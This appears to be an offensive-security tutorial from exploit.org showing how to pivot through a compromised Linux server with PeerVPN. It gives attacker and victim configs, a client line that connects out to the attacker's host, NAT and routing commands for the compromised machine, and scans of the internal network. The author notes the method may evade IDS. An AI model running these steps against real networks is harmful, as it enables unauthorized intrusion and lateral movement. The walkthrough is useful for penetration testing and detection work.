Oldschool Passenger: Network Pivoting with PeerVPN

PeerVPN is an older solution for building VPNs, but even it can be used to pivot through an external compromised host

Oldschool Passenger: Network Pivoting with PeerVPN

PeerVPN is an older solution for building VPNs, but even it can be used to pivot through an external compromised host. In this article, I will show how PeerVPN can be used for pivoting

Caster - Oldschool Passenger

Genre: Offensive
Label: exploit.org
Release Date: 16 April 2024

Intro

There's another method of pivoting using the old PeerVPN program. The concept is quite simple: set up a VPN server, connect the compromised host to it, then configure routing and NAT. In doing so, PeerVPN uses UDP encapsulation along with the RX protocol for a more resilient connection. So all communication between the VPN server and the VPN client will be wrapped in a UDP layer.

This method came to my mind completely by accident and is actually not relevant as we have more modern solutions in the form of Nebula, ZeroTier and the rest. So this work is built only on the motives of creativity.

Perhaps this method is not yet detected by IDS systems and it can be used quite well

Since PeerVPN is legitimate software, we are again dealing with the concept of "Living off the Land"

Disclaimer

The article is of an introductory nature and is intended for security professionals conducting testing under contract. The author and editorial staff are not liable for any harm caused by the use of the information presented. The distribution of malware, disruption of systems, and violation of correspondence secrecy will be prosecuted

Scenario

The concept is simple enough, set up a VPN server on the attacker's host, configure addressing within the VPN network, then connect the compromised host to the VPN server and configure NAT routing to gain access to the downstream network segment (this scenario assumes that the victim is a compromised external server on Linux with two interfaces)

This pivoting vector can evolve either from the Internet or directly within the infrastructure because PeerVPN is independent of the Internet

In this scenario, it is the general concept that I am demonstrating. It may differ from your pentest project.

Configuring PeerVPN on the attacker side

PeerVPN is very old, the last version came out as far back as 2016, but it will work nonetheless.

First you need to download PeerVPN, there will be an executable file in the archive, so there will be no problems with the build

caster@kali:~$ curl -LO https://peervpn.net/files/peervpn-0-044-linux-x86.tar.gz
caster@kali:~$ tar xzvf peervpn*
caster@kali:~$ cd peervpn-0-044/
caster@kali:~/peervpn-0-044$ ls
license.txt  peervpn  peervpn.conf
caster@kali:~/peervpn-0-044$

Now we need to prepare peervpn.conf so that it works in server mode. But before that we need to generate a Secure Secret Key

PeerVPN uses a shared key, which can contain up to 512 characters, to authenticate computers on the network. To ensure that network traffic is protected, it is critical to choose strong values. You can generate the required key using openssl

caster@kali:~/peervpn-0-044$ openssl rand -base64 382 | tr -d '\n' && echo

imv52mEKcNVnv1yDB/kDihQvTJeRZm1GZseH+Tti6GXBF1ngox8q0tF6fNA+bEsylqm6UnfXgYYM3rN2yCXhqUG+OebKCR3EBEhU+vea+ssbYtmw5QGyQERljeLo575kAVZxfxfgkThO5aM3FXHMXM9SLEoDVyxg7hcWoRkKbdIEUjToGL8fyx6puE5C8ZJTDijB0gVdF2OI2MZqPg7wd5yGtSFIfr/PcKSzFkViuZC1AOIRFfcynOUtHMK2L602MB93b54DeN05PPfzuQSyf+qyMzYDZNocIlNtSBe/ZtPem9bp9CPAXXuRbx7rTuJx3Dqm8eoHmM9RNBUegIw0j3uRCC4kmDifiPL5eJgZBBkUlpL560n+YDUdqPBKKTtWCHHGyiB7ANKeWaI2FDR8XyHNny2DrWeEdXkSziGjWqfhNcykqUdir7KJqwcnxoZgFy0GSV2xbW6XsLhFXqs5lo0SguGzrYXhvvXb9w3BA/3fWyT7OBvm8VMW1HR3iw==

The resulting key should be saved in one safe place. It will be used both on the server and on the client.

Configuration File

Now you need to configure the server side. In general, nothing complicated. Specify networkname, psk, port number, activate tunnel mode and interface name And addressing within the VPN network

What the default server configuration looks like:

In my case, the settings would be as follows:

networkname Oldschool

psk imv52mEKcNVnv1yDB/kDihQvTJeRZm1GZseH+Tti6GXBF1ngox8q0tF6fNA+bEsylqm6UnfXgYYM3rN2yCXhqUG+OebKCR3EBEhU+vea+ssbYtmw5QGyQERljeLo575kAVZxfxfgkThO5aM3FXHMXM9SLEoDVyxg7hcWoRkKbdIEUjToGL8fyx6puE5C8ZJTDijB0gVdF2OI2MZqPg7wd5yGtSFIfr/PcKSzFkViuZC1AOIRFfcynOUtHMK2L602MB93b54DeN05PPfzuQSyf+qyMzYDZNocIlNtSBe/ZtPem9bp9CPAXXuRbx7rTuJx3Dqm8eoHmM9RNBUegIw0j3uRCC4kmDifiPL5eJgZBBkUlpL560n+YDUdqPBKKTtWCHHGyiB7ANKeWaI2FDR8XyHNny2DrWeEdXkSziGjWqfhNcykqUdir7KJqwcnxoZgFy0GSV2xbW6XsLhFXqs5lo0SguGzrYXhvvXb9w3BA/3fWyT7OBvm8VMW1HR3iw==

enabletunneling yes

interface peervpn0

ifconfig4 10.8.0.1/24

local 0.0.0.0

port 7000

enableipv4 yes

enableipv6 yes

Network name: Oldschool
PSK specified
Activating tunnel operation
Interface name: peervpn0
Address on interface - 10.8.0.0.1/24 (network addressing 10.8.0.0/24)
Listener port number: 7000
Enable IPv4 and IPv6

Now the server-side configuration is complete and the server can be started:

caster@kali:~/peervpn-0-044$ sudo ./peervpn peervpn.conf
PeerVPN v0.044
(c)2016 Tobias Volk <[email protected]>


opening sockets...
   IPv4/UDP: ok.
   IPv6/UDP: failed.
opening TAP device...
   device "peervpn0": ok.
   done.
preparing P2P engine...
   done.

Client ID:  BD4ACA60746205475B90FB2A8FD8675425F12FC5DCA2C7FC055A1ABDDE6FA79C
Network ID: A80FC5BA1BFA53886F80A3877A88C3FB12703BD76575EE1C777004DB96DC1CDF

entering main loop...

[0] 0 peers connected.

Compromised host

By examining the interfaces we realize that there is ens36 on which there is a network 172.16.200.0/24, to which the attacker will gain access in my scenario. But I'm getting a little ahead of myself.

3: ens36: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:b7:41:da brd ff:ff:ff:ff:ff:ff
    altname enp2s4
    inet 172.16.200.130/24 brd 172.16.200.255 scope global dynamic ens36
       valid_lft 1042sec preferred_lft 1042sec

Identical situation. Download PeerVPN, prepare peervpn.conf, connect to the server, configure NAT. I can't give much commentary, let's go straight to the configuration.

Only the configuration for the client will look a little different:

networkname Oldschool

psk imv52mEKcNVnv1yDB/kDihQvTJeRZm1GZseH+Tti6GXBF1ngox8q0tF6fNA+bEsylqm6UnfXgYYM3rN2yCXhqUG+OebKCR3EBEhU+vea+ssbYtmw5QGyQERljeLo575kAVZxfxfgkThO5aM3FXHMXM9SLEoDVyxg7hcWoRkKbdIEUjToGL8fyx6puE5C8ZJTDijB0gVdF2OI2MZqPg7wd5yGtSFIfr/PcKSzFkViuZC1AOIRFfcynOUtHMK2L602MB93b54DeN05PPfzuQSyf+qyMzYDZNocIlNtSBe/ZtPem9bp9CPAXXuRbx7rTuJx3Dqm8eoHmM9RNBUegIw0j3uRCC4kmDifiPL5eJgZBBkUlpL560n+YDUdqPBKKTtWCHHGyiB7ANKeWaI2FDR8XyHNny2DrWeEdXkSziGjWqfhNcykqUdir7KJqwcnxoZgFy0GSV2xbW6XsLhFXqs5lo0SguGzrYXhvvXb9w3BA/3fWyT7OBvm8VMW1HR3iw==

initpeers <attacker_addr> 7000

enabletunneling yes

interface peervpn0

ifconfig4 10.8.0.2/24

enableipv4 yes

enableipv6 yes


Then running peervpn on the compromised machine:

compromised@compromised:~# ./peervpn peervpn.conf

PeerVPN v0.044
(c)2016 Tobias Volk <[email protected]>


opening sockets...
   IPv4/UDP: ok.
   IPv6/UDP: ok.
opening TAP device...
   device "peervpn0": ok.
   done.
preparing P2P engine...
   done.

Client ID:  3EB5DEA06669C943B1DDE89822A26588418E143B66152EFFBE9CE879596E5BE1
Network ID: A80FC5BA1BFA53886F80A3877A88C3FB12703BD76575EE1C777004DB96DC1CDF

entering main loop...

[0] 0 peers connected.
[0] resolving <attacker_addr>:7000...
             done.
[12] 1 peers connected.
In this article, I hide the real address of my VPS, which acts as the attacking machine in this scenario

Meanwhile, on the attacker's side:

caster@kali:~/peervpn-0-044$ sudo ./peervpn peervpn.conf
PeerVPN v0.044
(c)2016 Tobias Volk <[email protected]>


opening sockets...
   IPv4/UDP: ok.
   IPv6/UDP: failed.
opening TAP device...
   device "peervpn0": ok.
   done.
preparing P2P engine...
   done.

Client ID:  BD4ACA60746205475B90FB2A8FD8675425F12FC5DCA2C7FC055A1ABDDE6FA79C
Network ID: A80FC5BA1BFA53886F80A3877A88C3FB12703BD76575EE1C777004DB96DC1CDF

entering main loop...

[0] 0 peers connected.
[716] 1 peers connected.

Routing/NAT

Attacker interface:

4: peervpn0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 1000
    link/ether b2:b2:13:e1:dd:d7 brd ff:ff:ff:ff:ff:ff
    inet 10.8.0.1/24 brd 10.8.0.255 scope global peervpn0
       valid_lft forever preferred_lft forever
    inet6 fe80::ec66:a6ff:fefe:dc13/64 scope link proto kernel_ll 
       valid_lft forever preferred_lft forever

Compromised host interface:

4: peervpn0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 1000
    link/ether b2:b2:13:e1:dd:d7 brd ff:ff:ff:ff:ff:ff
    inet 10.8.0.2/24 brd 10.8.0.255 scope global peervpn0
       valid_lft forever preferred_lft forever
    inet6 fe80::b0b2:13ff:fee1:ddd7/64 scope link proto kernel_ll 
       valid_lft forever preferred_lft forever

Ping Attempts:

caster@kali:~/peervpn-0-044$ ping 10.8.0.2
PING 10.8.0.2 (10.8.0.2) 56(84) bytes of data.
64 bytes from 10.8.0.2: icmp_seq=1 ttl=64 time=0.472 ms
64 bytes from 10.8.0.2: icmp_seq=2 ttl=64 time=1.03 ms
64 bytes from 10.8.0.2: icmp_seq=3 ttl=64 time=0.501 ms
64 bytes from 10.8.0.2: icmp_seq=4 ttl=64 time=0.680 ms
64 bytes from 10.8.0.2: icmp_seq=5 ttl=64 time=0.933 ms
64 bytes from 10.8.0.2: icmp_seq=6 ttl=64 time=0.610 ms
^C
--- 10.8.0.2 ping statistics ---
6 packets transmitted, 6 received, 0% packet loss, time 5066ms
rtt min/avg/max/mdev = 0.472/0.703/1.025/0.208 ms

Previously, the attacker learned that behind the compromised host is a 172.16.200.0/24 network, to which it must be routed via 10.8.0.2 - the address of the compromised machine inside the PeerVPN network

caster@kali:~/peervpn-0-044$ sudo route add -net 172.16.200.0 netmask 255.255.255.0 gw 10.8.0.2

But it's not enough. On the compromised host, you must configure a NAT rule that masquerades traffic from the PeerVPN network to the 172.16.200.0/24 network. Also, the most important thing is to remember to enable routing on the host

compromised@compromised:~# sysctl -w net.ipv4.ip_forward=1
compromised@compromised:~# iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o ens36 -j MASQUERADE

The attacker will now be able to communicate with the 172.16.200.0/24 network through the compromised host

Impact

NetExec:

(NetExec) caster@kali:~/NetExec$ NetExec smb 172.16.200.0/24
SMB         172.16.200.134  445    HALFFACE         [*] Windows 10 / Server 2019 Build 19041 x64 (name:HALFFACE) (domain:HalfFace) (signing:False) (SMBv1:False)
SMB         172.16.200.131  445    TALKTOME         [*] Windows 10 / Server 2019 Build 19041 x64 (name:TALKTOME) (domain:TalkToMe) (signing:False) (SMBv1:False)
SMB         172.16.200.132  445    EMBRACE          [*] Windows 10 / Server 2019 Build 19041 x64 (name:EMBRACE) (domain:Embrace) (signing:False) (SMBv1:False)
Running nxc against 256 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00

Nmap:

caster@kali:~$ sudo nmap -Pn -sS -n -p 22,445,23 172.16.200.0/24 --min-rate=5000 -oA init-enumeration
caster@kali:~$ grep open init-enumeration.gnmap
Host: 172.16.200.130 ()	Ports: 22/open/tcp//ssh///, 23/closed/tcp//telnet///, 445/closed/tcp//microsoft-ds///
Host: 172.16.200.132 ()	Ports: 22/open/tcp//ssh///, 23/filtered/tcp//telnet///, 445/open/tcp//microsoft-ds///
Host: 172.16.200.137 ()	Ports: 22/open/tcp//ssh///, 23/open/tcp//telnet///, 445/closed/tcp//microsoft-ds///
Host: 172.16.200.138 ()	Ports: 22/open/tcp//ssh///, 23/closed/tcp//telnet///, 445/closed/tcp//microsoft-ds///

Samples

In my internal infrastructure, I've been experimenting on my virtual machines. Keep traffic samples, everything encapsulated in UDP with RX participation.
I was running NetExec and Nmap

Attacker (VPN Server): 192.168.1.183

Victim (VPN Client): 192.168.1.185

Outro

Using an old solution like PeerVPN, I demonstrated a method of tunnel pivoting that can be useful when external infrastructure is compromised.
Once again, I used something of a "Living off the Land" concept, for PeerVPN is legitimate software

Subscribe to exploit.org

Don’t miss out on the latest issues. Sign up now to get access to the library of members-only issues.
[email protected]
Subscribe